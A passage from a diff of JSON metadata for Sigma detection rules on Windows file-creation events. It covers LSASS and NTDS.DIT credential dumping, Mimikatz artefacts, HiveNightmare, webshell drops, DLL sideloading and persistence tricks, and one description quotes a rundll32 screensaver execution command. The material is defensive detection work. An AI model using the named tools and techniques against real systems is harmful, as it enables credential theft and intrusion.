"falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_error_handler_cmd_persistence.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/", + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_error_handler_cmd_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "15904280-565c-4b73-9303-3291f964e7f9", + "value": "Persistence Via ErrorHandler.Cmd" + }, + { + "description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder", + "meta": { + "author": "Florian Roth (rule), MSTI (query, idea)", + "creation_date": "2022/10/01", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_exchange_webshell_drop.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "bd1212e5-78da-431e-95fa-c58e3237a8e6", + "value": "Suspicious ASPX File Drop by Exchange" + }, + { + "description": "Detects suspicious file type dropped by an Exchange component in IIS", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/10/04", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_exchange_webshell_drop_suspicious.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1190", + "attack.initial_access", + "attack.t1505.003" + ] + }, + "uuid": "6b269392-9eba-40b5-acb6-55c882b20ba6", + "value": "Suspicious File Drop by Exchange" + }, + { + "description": "Detects default lsass dump filename from SafetyKatz", + "meta": { + "author": "Markus Neis", + "creation_date": "2018/07/24", + "falsepositive": [ + "Rare legitimate files with similar filename structure" + ], + "filename": "file_event_win_ghostpack_safetykatz.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/GhostPack/SafetyKatz", + "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ghostpack_safetykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "e074832a-eada-4fd7-94a1-10642b130e16", + "value": "SafetyKatz Default Dump Filename" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/13", + "falsepositive": [ + "Legitimate use" + ], + "filename": "file_event_win_gotoopener_artefact.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "5d756aee-ad3e-4306-ad95-cb1abec48de2", + "value": "GoToAssist Temporary Installation Artefact" + }, + { + "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/02/04", + "falsepositive": [ + "Very unlikely" + ], + "filename": "file_event_win_hack_dumpert.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/outflanknl/Dumpert", + "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hack_dumpert.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "93d94efc-d7ad-4161-ad7d-1638c4f908d8", + "value": "Dumpert Process Dumper" + }, + { + "description": "Detects files written by the different tools that exploit HiveNightmare", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/23", + "falsepositive": [ + "Files that accidentally contain these strings" + ], + "filename": "file_event_win_hivenightmare_file_exports.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/GossiTheDog/HiveNightmare", + "https://github.com/FireFart/hivenightmare/", + "https://github.com/WiredPulse/Invoke-HiveNightmare", + "https://twitter.com/cube0x0/status/1418920190759378944", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hivenightmare_file_exports.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001", + "cve.2021.36934" + ] + }, + "uuid": "6ea858a8-ba71-4a12-b2cc-5d83312404c7", + "value": "Typical HiveNightmare SAM File Export" + }, + { + "description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/29", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_hktl_nppspy.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", + "https://twitter.com/0gtweet/status/1465282548494487554", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml" + ], + "tags": [ + "attack.credential_access" + ] + }, + "uuid": "cad1fe90-2406-44dc-bd03-59d0b58fe722", + "value": "NPPSpy Hacktool Usage" + }, + { + "description": "Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.", + "meta": { + "author": "Tim Rauch (rule), Elastic (idea)", + "creation_date": "2022/10/21", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_initial_access_dll_search_order_hijacking.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc", + "https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.001", + "attack.initial_access", + "attack.t1574", + "attack.t1574.001", + "attack.defense_evasion" + ] + }, + "uuid": "dbbd9f66-2ed3-4ca2-98a4-6ea985dd1a1c", + "value": "Potential Initial Access via DLL Search Order Hijacking" + }, + { + "description": "TeamViewer_Desktop.exe is create during install", + "meta": { + "author": "frack113", + "creation_date": "2022/01/28", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_install_teamviewer_desktop.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_install_teamviewer_desktop.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "9711de76-5d4f-4c50-a94f-21e4e8f8384d", + "value": "Installation of TeamViewer Desktop" + }, + { + "description": "Detects the presence and execution of Inveigh via dropped artefacts", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/24", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_inveigh_artefacts.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_inveigh_artefacts.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "bb09dd3e-2b78-4819-8e35-a7c1b874e449", + "value": "Inveigh Execution Artefacts" + }, + { + "description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or OneDrive application, the dropped malicious DLL file (“iphlpapi.dll”) is sideloaded\n", + "meta": { + "author": "frack113", + "creation_date": "2022/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_iphlpapi_dll_sideloading.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "1908fcc1-1b92-4272-8214-0fbaf2fa5163", + "value": "Malicious DLL File Dropped in the Teams or OneDrive Folder" + }, + { + "description": "Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.", + "meta": { + "author": "@sam0x90", + "creation_date": "2022/07/30", + "falsepositive": [ + "Potential FP by sysadmin opening a zip file containing a legitimate ISO file" + ], + "filename": "file_event_win_iso_file_mount.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Sam0x90/status/1552011547974696960", + "https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "2f9356ae-bf43-41b8-b858-4496d83b2acb", + "value": "ISO File Created Within Temp Folders" + }, + { + "description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks.\nThis can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.\n", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/11", + "falsepositive": [ + "Cases in which a user mounts an image file for legitimate reasons" + ], + "filename": "file_event_win_iso_file_recent.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", + "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", + "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml" + ], + "tags": "No established tags" + }, + "uuid": "4358e5a5-7542-4dcb-b9f3-87667371839b", + "value": "ISO or Image Mount Indicator in Recent Files" + }, + { + "description": "Detects programs on a Windows system that should not write an archive to disk", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2022/08/21", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_legitimate_app_dropping_archive.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_archive.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "654fcc6d-840d-4844-9b07-2c3300e54a26", + "value": "Legitimate Application Dropped Archive" + }, + { + "description": "Detects programs on a Windows system that should not write executables to disk", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2022/08/21", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_legitimate_app_dropping_exe.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_exe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "f0540f7e-2db3-4432-b9e0-3965486744bc", + "value": "Legitimate Application Dropped Executable" + }, + { + "description": "Detects programs on a Windows system that should not write scripts to disk", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2022/08/21", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_legitimate_app_dropping_script.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_legitimate_app_dropping_script.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "7d604714-e071-49ff-8726-edeb95a70679", + "value": "Legitimate Application Dropped Script" + }, + { + "description": "Detects file names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/15", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_lsass_dump.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.google.com/search?q=procdump+lsass", + "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", + "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", + "https://github.com/helpsystems/nanodump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "a5a2d357-1ab8-4675-a967-ef9990a59391", + "value": "LSASS Process Memory Dump Files" + }, + { + "description": "LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified", + "meta": { + "author": "Teymur Kheirkhabarov, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator", + "Dumps of another process that contains lsass in its process name (substring)" + ], + "filename": "file_event_win_lsass_memory_dump_file_creation.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_memory_dump_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "5e3d3601-0662-4af0-b1d2-36a05e90c40a", + "value": "LSASS Memory Dump File Creation" + }, + { + "description": "Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/27", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_lsass_werfault_dump.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/helpsystems/nanodump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "c3e76af5-4ce0-4a14-9c9a-25ceb8fda182", + "value": "WerFault LSASS Process Memory Dump" + }, + { + "description": "A office file with macro is created from a commandline or a script", + "meta": { + "author": "frack113", + "creation_date": "2022/01/23", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_macro_file.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", + "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_macro_file.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ] + }, + "uuid": "b1c50487-1967-4315-a026-6491686d860e", + "value": "Dump Office Macro Files from Commandline" + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "meta": { + "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2017/11/10", + "falsepositive": "No established falsepositives", + "filename": "file_event_win_mal_adwind.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ] + }, + "uuid": "0bcfabcb-7929-47f4-93d6-b33fb67d34d1", + "value": "Adwind RAT / JRAT" + }, + { + "description": "Detects Octopus Scanner Malware.", + "meta": { + "author": "NVISO", + "creation_date": "2020/06/09", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_mal_octopus_scanner.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml" + ], + "tags": [ + "attack.t1195", + "attack.t1195.001" + ] + }, + "uuid": "805c55d9-31e6-4846-9878-c34c75054fe9", + "value": "Octopus Scanner Malware" + }, + { + "description": "Malware can use mountable Virtual Hard Disk .vhd file to encapsulate payloads and evade security controls", + "meta": { + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "creation_date": "2021/10/25", + "falsepositive": [ + "Legitimate user creation" + ], + "filename": "file_event_win_mal_vhd_download.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_vhd_download.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ] + }, + "uuid": "8468111a-ef07-4654-903b-b863a80bbc95", + "value": "Suspicious VHD Image Download From Browser" + }, + { + "description": "Detects the creation of files that contain Kerberos tickets based on an extension used by the popular tool Mimikatz", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/08", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_mimikatz_kirbi_file_creation.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://cobalt.io/blog/kerberoast-attack-techniques", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_kirbi_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558" + ] + }, + "uuid": "9e099d99-44c2-42b6-a6d8-54c3545cab29", + "value": "Mimikatz Kirbi File Creation" + }, + { + "description": "Detects Mimikatz MemSSP default log file creation", + "meta": { + "author": "David ANDRE", + "creation_date": "2021/12/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_mimimaktz_memssp_log_file.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimimaktz_memssp_log_file.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "034affe8-6170-11ec-844f-0f78aa0c4d66", + "value": "Mimikatz MemSSP Default Log File Creation" + }, + { + "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/05/06", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_moriya_rootkit.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_moriya_rootkit.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "a1507d71-0b60-44f6-b17c-bf53220fdd88", + "value": "Moriya Rootkit" + }, + { + "description": "Detects msdt.exe creating files in suspicious directories", + "meta": { + "author": "Vadim Varganov, Florian Roth", + "creation_date": "2022/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_msdt_autorun.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_autorun.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "cve.2022.30190" + ] + }, + "uuid": "318557a5-150c-4c8d-b70e-a9910e199857", + "value": "MSDT.exe Creates Files in Autorun Directory" + }, + { + "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_new_files_in_uncommon_appdata_folder.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ] + }, + "uuid": "d7b50671-d1ad-4871-aa60-5aa5b331fe04", + "value": "Creation Suspicious File In Uncommon AppData Folder" + }, + { + "description": "An attacker may execute an application as a .SCR File (Screensaver) using rundll32.exe desk.cpl,InstallScreenSaver", + "meta": { + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", + "creation_date": "2022/04/27", + "falsepositive": [ + "The installation of new screen savers." + ], + "filename": "file_event_win_new_src_file.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Desk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_src_file.yml" + ], + "tags": [ + "attack.t1218.011", + "attack.defense_evasion" + ] + }, + "uuid": "c048f047-7e2a-4888-b302-55f509d4a91d", + "value": "SCR File Write Event" + }, + { + "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/10", + "falsepositive": [ + "Possible FPs during first installation of Notepad++", + "Legitimate use of custom plugins to enhance notepad++ functionality by users" + ], + "filename": "file_event_win_notepad_plus_plus_persistence.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_notepad_plus_plus_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "54127bd4-f541-4ac3-afdb-ea073f63f692", + "value": "Persistence Via Notepad++ Plugins" + }, + { + "description": "Detects suspicious creations of a file named ntds.dit, e.g. by a PowerShell parent or in a suspicious directory or a suspicious one liner", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/11", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_ntds_dit.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://pentestlab.blog/tag/ntds-dit/", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d", + "value": "Suspicious NTDS.DIT Creation" + }, + { + "description": "Detects suspicious creations of files with names used in various tools that export the NTDS.DIT for exfiltration", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/11", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_ntds_exfil_tools.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb", + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", + "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "uuid": "3a8da4e0-36c1-40d2-8b29-b3e890d5172a", + "value": "Suspicious NTDS Exfil Filename Patterns" + }, + { + "description": "Detects add-ins that load when Microsoft Word or Excel starts (.wll/.xll are simply .dll fit for Word or Excel).", + "meta": { + "author": "NVISO", + "creation_date": "2020/05/11", + "falsepositive": [ + "Legitimate add-ins" + ], + "filename": "file_event_win_office_persistence.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.006" + ] + }, + "uuid": "8e1cb247-6cf6-42fa-b440-3f27d57e9936", + "value": "Microsoft Office Add-In Loading" + }, + { + "description": "Detects the creation of a macro file for Outlook.\nGoes with win_outlook_c2_registry_key. VbaProject.OTM is explicitly mentioned in T1137.\nParticularly interesting if both events Registry & File Creation happens at the same time.\n", + "meta": { + "author": "@ScoubiMtl", + "creation_date": "2021/04/05", + "falsepositive": [ + "User genuinly creates a VB Macro for their email" + ], + "filename": "file_event_win_outlook_c2_macro_creation.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_c2_macro_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.command_and_control", + "attack.t1137", + "attack.t1008", + "attack.t1546" + ] + }, + "uuid": "8c31f563-f9a7-450c-bfa8-35f8f32f1f61", + "value": "Outlook C2 Macro Creation" + }, + { + "description": "Detects the creation of new Outlook form which can contain malicious code", + "meta": { + "author": "Tobias Michalski", + "creation_date": "2021/06/10", + "falsepositive": [ + "Unknown" + ], + "filename": 